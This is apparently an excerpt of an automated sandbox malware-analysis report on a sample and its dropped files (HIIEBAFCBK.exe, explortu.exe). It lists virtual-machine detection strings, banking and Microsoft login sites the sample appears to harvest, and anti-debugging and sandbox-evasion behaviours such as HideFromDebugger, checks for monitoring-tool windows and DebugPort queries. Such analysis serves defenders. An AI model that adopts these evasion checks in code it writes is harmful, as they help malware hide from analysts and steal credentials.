Source: tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000E2C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 5Windows 2012 Server Enterprise without Hyper-V (core)
Source: tAa6xNsucX.exe, tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000E2C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 2012 R2 Server Enterprise without Hyper-V (full)
Source: tAa6xNsucX.exe, tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000E2C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 2012 R2 Server Datacenter without Hyper-V (core)
Source: tAa6xNsucX.exe, tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000E2C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 11 Server Standard without Hyper-V (core)
Source: tAa6xNsucX.exe, tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000E2C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 8.1 Essential Server Solutions without Hyper-V
Source: DGDBFBFC.0.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: DGDBFBFC.0.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: DGDBFBFC.0.dr	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: tAa6xNsucX.exe, tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000E2C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 2012 R2 Server Standard without Hyper-V (core)
Source: tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000E2C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Hyper-V (guest)
Source: Amcache.hve.5.dr	Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: DGDBFBFC.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: DGDBFBFC.0.dr	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: DGDBFBFC.0.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: DGDBFBFC.0.dr	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: Amcache.hve.5.dr	Binary or memory string: VMware-56 4d 43 71 48 15 3d ed-ae e6 c7 5a ec d9 3b f0
Source: tAa6xNsucX.exe, tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000E2C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 10 Microsoft Hyper-V Server
Source: tAa6xNsucX.exe, tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000E2C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 2012 Essential Server Solutions without Hyper-V
Source: Amcache.hve.5.dr	Binary or memory string: vmci.syshbin`
Source: DGDBFBFC.0.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: Amcache.hve.5.dr	Binary or memory string: \driver\vmci,\driver\pci
Source: tAa6xNsucX.exe, tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000E2C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 2012 R2 Server Datacenter without Hyper-V (full)
Source: tAa6xNsucX.exe, tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000F5C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: ~VirtualMachineTypes
Source: tAa6xNsucX.exe, 00000000.00000002.2304071459.0000000000914000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: _VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: DGDBFBFC.0.dr	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: DGDBFBFC.0.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: tAa6xNsucX.exe, tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000F5C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: ]DLL_Loader_VirtualMachine
Source: tAa6xNsucX.exe, tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000E2C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 2016 Microsoft Hyper-V Server
Source: tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000F5C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: DLL_Loader_Marker]DLL_Loader_VirtualMachineZDLL_Loader_Reloc_Unit
Source: tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000E2C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: /Windows 2012 R2 Server Standard without Hyper-V
Source: tAa6xNsucX.exe, tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000E2C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 11 Server Standard without Hyper-V
Source: tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000E2C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: )Windows 8 Server Standard without Hyper-V
Source: HIIEBAFCBK.exe, 00000007.00000002.2374677774.0000000000E71000.00000040.00000001.01000000.00000009.sdmp, explortu.exe, 00000009.00000002.4582406469.0000000000511000.00000040.00000001.01000000.0000000D.sdmp, explortu.exe, 0000000A.00000002.2423502707.0000000000511000.00000040.00000001.01000000.0000000D.sdmp, explortu.exe, 0000000D.00000002.2729952140.0000000000511000.00000040.00000001.01000000.0000000D.sdmp, explortu.exe, 0000000E.00000002.3332519871.0000000000511000.00000040.00000001.01000000.0000000D.sdmp, explortu.exe, 0000000F.00000002.3931868304.0000000000511000.00000040.00000001.01000000.0000000D.sdmp, explortu.exe, 00000010.00000002.4529629010.0000000000511000.00000040.00000001.01000000.0000000D.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: tAa6xNsucX.exe, tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000E2C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 11 Server Enterprise without Hyper-V (full)
Source: DGDBFBFC.0.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000E2C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 5Windows 2016 Server Datacenter without Hyper-V (core)
Source: tAa6xNsucX.exe, tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000E2C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 11 Server Datacenter without Hyper-V (full)
Source: tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000E2C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 5Windows 2016 Server Enterprise without Hyper-V (core)
Source: tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000E2C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: %Windows 2012 Microsoft Hyper-V Server
Source: tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000E2C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Hyper-V
Source: Amcache.hve.5.dr	Binary or memory string: VMware
Source: tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000E2C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: $Windows 8.1 Microsoft Hyper-V Server
Source: tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000E2C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: ,Windows 2012 Server Standard without Hyper-V
Source: DGDBFBFC.0.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000E2C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 3Windows 10 Server Datacenter without Hyper-V (full)
Source: tAa6xNsucX.exe, tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000E2C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 2012 Microsoft Hyper-V Server
Source: DGDBFBFC.0.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: tAa6xNsucX.exe, tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000E2C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 2012 Server Enterprise without Hyper-V (core)
Source: DGDBFBFC.0.dr	Binary or memory string: global block list test formVMware20,11696428655
Source: Amcache.hve.5.dr	Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000E2C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 8Windows 2012 R2 Server Datacenter without Hyper-V (core)
Source: tAa6xNsucX.exe, tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000E2C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 8 Essential Server Solutions without Hyper-V
Source: tAa6xNsucX.exe, tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000E2C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 10 Essential Server Solutions without Hyper-V
Source: tAa6xNsucX.exe, 00000000.00000002.2304071459.000000000082A000.00000004.00000020.00020000.00000000.sdmp, tAa6xNsucX.exe, 00000000.00000002.2304071459.00000000007D5000.00000004.00000020.00020000.00000000.sdmp, explortu.exe, 00000009.00000002.4583229120.0000000000D01000.00000004.00000020.00020000.00000000.sdmp, explortu.exe, 00000009.00000002.4583229120.0000000000CC0000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000E2C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 8Windows 2012 R2 Server Datacenter without Hyper-V (full)
Source: DGDBFBFC.0.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: tAa6xNsucX.exe, tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000E2C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 8.1 Server Enterprise without Hyper-V (core)
Source: tAa6xNsucX.exe, tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000E2C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 10 Server Standard without Hyper-V (core)
Source: tAa6xNsucX.exe, tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000E2C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 2012 R2 Server Enterprise without Hyper-V (core)
Source: tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000E2C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 7Windows 2012 Essential Server Solutions without Hyper-V
Source: tAa6xNsucX.exe, tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000E2C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 8 Server Enterprise without Hyper-V (full)
Source: Amcache.hve.5.dr	Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: tAa6xNsucX.exe, tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000E2C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 2016 Server Enterprise without Hyper-V (core)
Source: DGDBFBFC.0.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: tAa6xNsucX.exe, tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000E2C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 2016 Server Datacenter without Hyper-V (full)
Source: tAa6xNsucX.exe, tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000E2C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 8.1 Server Datacenter without Hyper-V (full)
Source: tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000E2C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: %Windows 2016 Microsoft Hyper-V Server
Source: tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000E2C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 5Windows 2012 Server Enterprise without Hyper-V (full)
Source: tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000E2C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 3Windows 10 Server Enterprise without Hyper-V (core)
Source: tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000E2C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 3Windows 11 Server Datacenter without Hyper-V (core)
Source: tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000E2C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 7Windows 2016 Essential Server Solutions without Hyper-V
Source: DGDBFBFC.0.dr	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: DGDBFBFC.0.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000E2C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: +Windows 8.1 Server Standard without Hyper-V
Source: tAa6xNsucX.exe, tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000E2C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 2016 Server Standard without Hyper-V
Source: tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000E2C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 3Windows 10 Server Datacenter without Hyper-V (core)
Source: Amcache.hve.5.dr	Binary or memory string: VMware20,1
Source: Amcache.hve.5.dr	Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.5.dr	Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.5.dr	Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: tAa6xNsucX.exe, 00000000.00000002.2304071459.00000000007D5000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: DGDBFBFC.0.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: tAa6xNsucX.exe, tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000E2C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 11 Server Enterprise without Hyper-V (core)
Source: Amcache.hve.5.dr	Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.5.dr	Binary or memory string: VMware VMCI Bus Device
Source: tAa6xNsucX.exe, tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000E2C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 11 Server Datacenter without Hyper-V (core)
Source: tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000E2C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 4Windows 8.1 Server Enterprise without Hyper-V (full)
Source: tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000E2C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 5Windows 2016 Server Enterprise without Hyper-V (full)
Source: tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000E2C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 2Windows 8 Server Datacenter without Hyper-V (core)
Source: tAa6xNsucX.exe, tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000E2C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 10 Server Enterprise without Hyper-V (core)
Source: DGDBFBFC.0.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655
Source: Amcache.hve.5.dr	Binary or memory string: vmci.inf_amd64_68ed49469341f563
Source: tAa6xNsucX.exe, tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000E2C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 10 Server Datacenter without Hyper-V (full)
Source: tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000E2C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: :Windows 2012 R2 Essential Server Solutions without Hyper-V
Source: DGDBFBFC.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000E2C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 5Windows 11 Essential Server Solutions without Hyper-V
Source: tAa6xNsucX.exe, tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000E2C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 2016 Server Standard without Hyper-V (core)
Source: Amcache.hve.5.dr	Binary or memory string: vmci.syshbin
Source: tAa6xNsucX.exe, tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000E2C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 8 Server Standard without Hyper-V (core)
Source: Amcache.hve.5.dr	Binary or memory string: VMware, Inc.
Source: tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000E2C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 5Windows 10 Essential Server Solutions without Hyper-V
Source: Amcache.hve.5.dr	Binary or memory string: VMware20,1hbin@
Source: tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000E2C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 8Windows 2012 R2 Server Enterprise without Hyper-V (core)
Source: tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000E2C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: xVBoxService.exe
Source: Amcache.hve.5.dr	Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: DGDBFBFC.0.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: tAa6xNsucX.exe, tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000E2C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 2012 Server Datacenter without Hyper-V (core)
Source: tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000E2C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 3Windows 10 Server Enterprise without Hyper-V (full)
Source: tAa6xNsucX.exe, tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000E2C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 8.1 Server Enterprise without Hyper-V (full)
Source: Amcache.hve.5.dr	Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: DGDBFBFC.0.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: tAa6xNsucX.exe, tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000E2C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 8 Server Enterprise without Hyper-V (core)
Source: DGDBFBFC.0.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000E2C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: *Windows 11 Server Standard without Hyper-V
Source: tAa6xNsucX.exe, tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000E2C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 2012 R2 Essential Server Solutions without Hyper-V
Source: tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000E2C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: ,Windows 2016 Server Standard without Hyper-V
Source: tAa6xNsucX.exe, tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000E2C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 2012 Server Standard without Hyper-V (core)
Source: DGDBFBFC.0.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: Amcache.hve.5.dr	Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: tAa6xNsucX.exe, tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000E2C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 8.1 Server Datacenter without Hyper-V (core)
Source: DGDBFBFC.0.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: tAa6xNsucX.exe, tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000E2C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 2016 Server Datacenter without Hyper-V (core)
Source: tAa6xNsucX.exe, tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000E2C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 2016 Server Enterprise without Hyper-V (full)
Source: tAa6xNsucX.exe, tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000E2C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 8 Server Datacenter without Hyper-V (full)
Source: tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000E2C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: VBoxService.exe
Source: tAa6xNsucX.exe, tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000E2C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 8.1 Server Standard without Hyper-V
Source: Amcache.hve.5.dr	Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000E2C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: *Windows 10 Server Standard without Hyper-V
Source: tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000E2C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 1Windows 11 Server Standard without Hyper-V (core)
Source: tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000E2C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 1Windows 10 Server Standard without Hyper-V (core)
Source: tAa6xNsucX.exe, tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000E2C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 2012 Server Enterprise without Hyper-V (full)
Source: tAa6xNsucX.exe, tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000E2C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 2012 Server Datacenter without Hyper-V (full)
Source: tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000E2C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: VMWare
Source: Amcache.hve.5.dr	Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000E2C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 4Windows 8.1 Server Enterprise without Hyper-V (core)
Source: tAa6xNsucX.exe, tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000E2C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Windows 10 Server Enterprise without Hyper-V (full)
Source: tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000E2C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 2Windows 8.1 Server Standard without Hyper-V (core)
Source: tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000E2C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 2Windows 8 Server Datacenter without Hyper-V (full)
Source: tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000E2C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 4Windows 8.1 Server Datacenter without Hyper-V (core)
Source: tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000E2C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: 2Windows 8 Server Enterprise without Hyper-V (full)
Source: tAa6xNsucX.exe, 00000000.00000002.2305011823.0000000000E2C000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: #Windows 11 Microsoft Hyper-V Server

Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\tAa6xNsucX.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Desktop\tAa6xNsucX.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Thread information set: HideFromDebugger	Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	File opened: SIWVID

Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\HIIEBAFCBK.exe

Code function: 7_2_05130BD8 rdtsc

7_2_05130BD8

Source: C:\Users\user\Desktop\tAa6xNsucX.exe

Code function: 0_2_6C375FF0 IsDebuggerPresent,??0PrintfTarget@mozilla@@IAE@XZ,?vprint@PrintfTarget@mozilla@@QAE_NPBDPAD@Z,OutputDebugStringA,__acrt_iob_func,_fileno,_dup,_fdopen,__stdio_common_vfprintf,fclose,

0_2_6C375FF0

Source: C:\Users\user\Desktop\tAa6xNsucX.exe

Code function: 0_2_6C37C410 LoadLibraryW,GetProcAddress,FreeLibrary,

0_2_6C37C410

Source: C:\Users\user\AppData\Local\Temp\9217037dc9\explortu.exe	Code function: 9_2_00355C0B mov eax, dword ptr fs:[00000030h]		9_2_00355C0B
